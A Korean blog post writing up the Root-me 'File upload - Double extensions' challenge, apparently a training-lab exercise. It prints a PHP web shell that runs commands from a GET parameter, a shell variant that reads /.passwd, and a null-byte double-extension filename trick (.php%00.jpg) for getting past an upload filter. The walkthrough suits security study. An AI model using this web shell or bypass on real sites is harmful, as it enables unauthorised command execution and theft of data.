vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • Digital-Forensic
  • trim
  • Artifacts
  • shellbag forensics
  • Los
  • Windows Artifact
  • Digital Forensic
  • sql injection
  • shellbag
  • JavaScript
  • webhacking.kr
  • forensic artifacts
  • digital-forensics
  • File Execution
  • LNK FIile
  • Thumbcache
  • iconcahce
  • forensic-cheatsheet
  • ssd

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

Root-me : [Web_Server]File upload - Double extensions
WriteUp/Root-me.org

Root-me : [Web_Server]File upload - Double extensions

2020. 8. 4. 09:31

파일 업로드 문제다. 이전부터 깊게 연습해보고 싶었는데 이번 기회에 제대로 풀어보도록 하자.

 

/.passwd 를 실행하도록 코드를 짜면 된다. 보통 웹쉘을 만들어서 inject 해줘야 하는데 다음과 같은 형식으로 코드를 짜줘야 한다.

 

<?php

system("$_GET['cmd']");

?>

 

이 경우는 우리가 목표로 하는 파일 위치를 모르기 때문에 계속해서 찾아볼 수 있도록 하기 위함이고, 이 문제같은 경우 파일 경로를 알기 때문에 다음과 같이 작성했다.

 

<?php

system("cat /.passwd");

?>

 

 

이제 문제를 보자

 

역시나 업로드 카테고리가 있다.

이렇게 확장자를 필터링 하는 모습을 볼 수 있는데 현재 파일이 php로 작성되어 있어서 우회해야 한다.

 

우회하는 방법이 많은데 그 방법중 하나로

.php -> .PHP

이렇게 바꿔주는 방법이 있다.

안된다.

 

.php -> .php%00

이렇게 널 문자를 넣어주는 방법도 있다.

그대로이다. 뭘 잘못했나 봤더니 .jpg/jpeg만 받아들이는 것 같다.

null문자 뒤에 .jpg 붙여주자. 이래서 문제 제목이 double extension 인 것 같다.

 

.php -> .php%00.jpg

 

 

 

오케이 성공했다. 경로도 보여주는 것으로 보아 상당히 취약한것 같다.

커맨드 넣으면서 보고싶어서 첫번째 파일로 넣어줬다.

total 184

drwxr-s--- 2 web-serveur-ch20 www-data 4096 Aug 4 02:21 .

drwxr-s--- 19 web-serveur-ch20 www-data 172032 Aug 4 02:18 ..

-rw-r--r-- 1 web-serveur-ch20 web-serveur-ch20 34 Aug 4 02:21 test1.php.jpeg

-rw-r--r-- 1 web-serveur-ch20 web-serveur-ch20 36 Aug 4 02:17 test2.PHP.jpg

 

직접 ls 하면서 찾아본 결과. galerie 폴더 위의 디렉토리가 루트 디렉토리이다.

즉 ?cmd =cat ../../../.passwd 를 넣어주면 passwd 가 나온다.

 

이렇게 password를 출력할 수 있다.

저작자표시 (새창열림)

'WriteUp > Root-me.org' 카테고리의 다른 글

Root-me : [Web_Server]HTTP - Cookies  (0) 2020.08.04
Root-me : [Web_Server]File upload - MIME  (0) 2020.08.04
Root-me : [Web_Server]Install files  (0) 2020.07.31
Root-me : [Web_Server] HTTP - Verb tampering  (0) 2020.07.31
Root-me : [Web_Server] HTTP - Improper redirect  (0) 2020.07.30
    'WriteUp/Root-me.org' 카테고리의 다른 글
    • Root-me : [Web_Server]HTTP - Cookies
    • Root-me : [Web_Server]File upload - MIME
    • Root-me : [Web_Server]Install files
    • Root-me : [Web_Server] HTTP - Verb tampering
    vared
    vared

    티스토리툴바